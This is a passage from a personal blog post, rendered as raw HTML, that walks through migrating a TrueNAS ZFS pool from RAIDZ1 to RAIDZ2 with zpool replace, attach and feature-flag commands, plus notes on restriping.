&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zpool destroy &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-old&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-15-replace-the-fake-disk-with-a-real-disk">Step 15: Replace the fake disk with a real disk&lt;/h3>
&lt;p>With my old RAIDZ1 pool destroyed, I now have three disks to migrate to my new RAIDZ2 pool.&lt;/p>
&lt;p>&lt;img src="migration-4.svg" alt="">&lt;/p>
&lt;p>The first disk migration requires a special flow because I&amp;rsquo;m replacing the fake disk (the 8 TB sparse file) on my RAIDZ2 pool.&lt;/p>
&lt;p>&lt;img src="migration-5.svg" alt="">&lt;/p>
&lt;p>I use &lt;code>zpool replace&lt;/code> to replace my fake disk with a real disk:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;/tmp/fake-drive.img&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">REPLACEMENT_DISK&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sde&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;pool1&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool replace &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">REPLACEMENT_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Checking &lt;code>zpool status&lt;/code> shows that ZFS is resilvering (reorganizing) my data onto the disk I just swapped in:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zpool status &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool: pool1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> state: DEGRADED
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>status: One or more devices is currently being resilvered. The pool will
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">continue&lt;/span> to &lt;span style="color:#6ab825;font-weight:bold">function&lt;/span>, possibly in a degraded state.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action: Wait &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> the resilver to complete.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> scan: resilver in progress since Sat May &lt;span style="color:#3677a9">31&lt;/span> 19:58:51 &lt;span style="color:#3677a9">2025&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 2.04T / 28.5T scanned at 56.6G/s, 0B / 28.5T issued
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0B resilvered, 0.00% &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>, no estimated completion &lt;span style="color:#24909d">time&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NAME STATE READ WRITE CKSUM
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool1 DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raidz2-0 DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VGGGYUEG ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VRGMRVJK ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VRGNZU9K ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-TOSHIBA_HDWG480_71R0A14YFR0H ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> replacing-4 DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /tmp/fake-drive.img OFFLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-ST8000VN004-2M2101_WSD5B9XY ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>errors: No known data errors
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The TrueNAS UI also shows that I&amp;rsquo;m replacing a disk:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/replacing-fake-disk.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/replacing-fake-disk_hu_44dc98267149b4b2.webp 300w, https://mtlynch.io/raidz1-to-raidz2/replacing-fake-disk_hu_add277734382f9e.webp 600w, https://mtlynch.io/raidz1-to-raidz2/replacing-fake-disk_hu_c412068aebe5a1f4.webp 800w, https://mtlynch.io/raidz1-to-raidz2/replacing-fake-disk.webp 819w'
 src="https://mtlynch.io/raidz1-to-raidz2/replacing-fake-disk.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="step-15-absorb-the-two-remaining-disks">Step 15: Absorb the two remaining disks&lt;/h3>
&lt;p>Finally, it&amp;rsquo;s time to expand the new RAIDZ2 pool with the remaining two disks from my old, destroyed RAIDZ1 pool:&lt;/p>
&lt;p>&lt;img src="migration-6.svg" alt="">&lt;/p>
&lt;p>Again, I hit a snag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">NEWDISK&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sdd&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ zpool attach &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> raidz2-0 &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWDISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cannot attach /dev/disk/by-id/ata-ST8000VN004-3CP101_WRQ02GX5 to raidz2-0: raidz_expansion feature must be enabled in order to attach a device to raidz
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Apparently, the RAIDZ expansion feature is off by default. Perhaps it&amp;rsquo;s only off if you upgrade from an earlier version of TrueNAS, as I had:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zpool get feature@raidz_expansion &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME PROPERTY VALUE SOURCE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pool1 feature@raidz_expansion disabled &lt;span style="color:#24909d">local&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I enable the RAIDZ expansion feature with &lt;code>zpool upgrade&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zpool upgrade -o feature@raidz_expansion=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, I confirm that the RAIDZ expansion feature is enabled:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zpool get feature@raidz_expansion &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME PROPERTY VALUE SOURCE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pool1 feature@raidz_expansion enabled &lt;span style="color:#24909d">local&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, I can try to add the disk again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zpool attach &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> raidz2-0 &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWDISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And the &lt;code>zpool status&lt;/code> confirms that it&amp;rsquo;s adding the disk:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zpool status &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> | grep --after-context=&lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;expand:&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>+ grep --after-context=&lt;span style="color:#3677a9">1&lt;/span> expand:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>+ zpool status &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>expand: expansion of raidz2-0 in progress since Sun Jun &lt;span style="color:#3677a9">1&lt;/span> 08:08:03 &lt;span style="color:#3677a9">2025&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 17.1G / 28.5T copied at 501M/s, 0.06% &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>, 16:36:03 to go
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After &lt;code>zpool status&lt;/code> shows expansion has reached 100%, I repeat the process with the remaining disk and reach my final state.&lt;/p>
&lt;h2 id="my-complete-7x8tb-raidz2-pool">My complete 7x8TB RAIDZ2 pool&lt;/h2>
&lt;p>With all the disks migrated, I now have a happy, healthy 7x8TB RAIDZ2 pool with 33 TB (30 TiB) of usable capacity:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/dashboard-complete.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/dashboard-complete_hu_c855d6e91114b9f3.webp 300w, https://mtlynch.io/raidz1-to-raidz2/dashboard-complete.webp 587w'
 src="https://mtlynch.io/raidz1-to-raidz2/dashboard-complete.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="optional-force-data-restriping">Optional: Force data restriping&lt;/h2>
&lt;p>Reader &lt;a href="https://lobste.rs/s/w2l7hb/migrating_zfs_pool_from_raidz1_raidz2#c_rrgvwc">@intelfx&lt;/a> alerted me to a gotcha in the RAIDZ expansion feature. The data that exists on the disks prior to the RAIDZ expansion does not automatically restripe from 3x data + 2x parity to 5x data + 2x parity, so it can&amp;rsquo;t take advantage of the improved storage efficiency of the 7-disk array. The net effect is that you can&amp;rsquo;t use all of the capacity on your RAIDZ2 pool.&lt;/p>
&lt;p>You can work around this by forcing a rewrite of the pre-migration datasets (e.g., &lt;code>zfs send&lt;/code> each dataset &lt;a href="https://mtlynch.io/zfs-encrypted-backups/">to a backup&lt;/a>, then &lt;code>zfs receive&lt;/code> to restore it). OpenZFS contributor &lt;a href="https://robn.au/">Rob Norris&lt;/a> &lt;a href="https://lobste.rs/s/w2l7hb/migrating_zfs_pool_from_raidz1_raidz2#c_osjgsa">points out&lt;/a> that there&amp;rsquo;s a &lt;a href="https://openzfs.github.io/openzfs-docs/man/master/8/zfs-rewrite.8.html">&lt;code>zfs rewrite&lt;/code> command&lt;/a> coming in OpenZFS 2.4.x that achieves the same thing more elegantly.&lt;/p>
&lt;h2 id="optional-match-truenas-feature-configuration">Optional: Match TrueNAS feature configuration&lt;/h2>
&lt;p>A member of the iXsystems team (the team that maintains TrueNAS) &lt;a href="https://www.reddit.com/r/truenas/comments/1m7b5e0/migrating_a_zfs_pool_from_raidz1_to_raidz2/n4rd6uh/">commented on reddit&lt;/a> to say that TrueNAS &lt;a href="https://www.reddit.com/r/truenas/comments/1m7b5e0/migrating_a_zfs_pool_from_raidz1_to_raidz2/n5ui5pc/">technically doesn&amp;rsquo;t support users creating ZFS pools from the command line&lt;/a>. He suggested that I create a test pool in TrueNAS, dump its feature flags, then apply those flags to the new RAIDZ2 pool I created from the command-line.&lt;/p>
&lt;p>It&amp;rsquo;s not clear to me what difference it makes to apply the TrueNAS flags to the pool I created from the CLI, but here are the flags I believe iXsystems are recommending, as of 25.04:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@lz4_compress=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@async_destroy=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@empty_bpobj=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@multi_vdev_crash_dump=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@spacemap_histogram=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@enabled_txg=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@hole_birth=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@extensible_dataset=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@embedded_data=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@bookmarks=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@filesystem_limits=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@large_blocks=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@large_dnode=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@sha512=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@skein=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@edonr=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@userobj_accounting=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@encryption=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@project_quota=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@device_removal=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@obsolete_counts=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@zpool_checkpoint=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@spacemap_v2=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@allocation_classes=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@resilver_defer=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@bookmark_v2=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
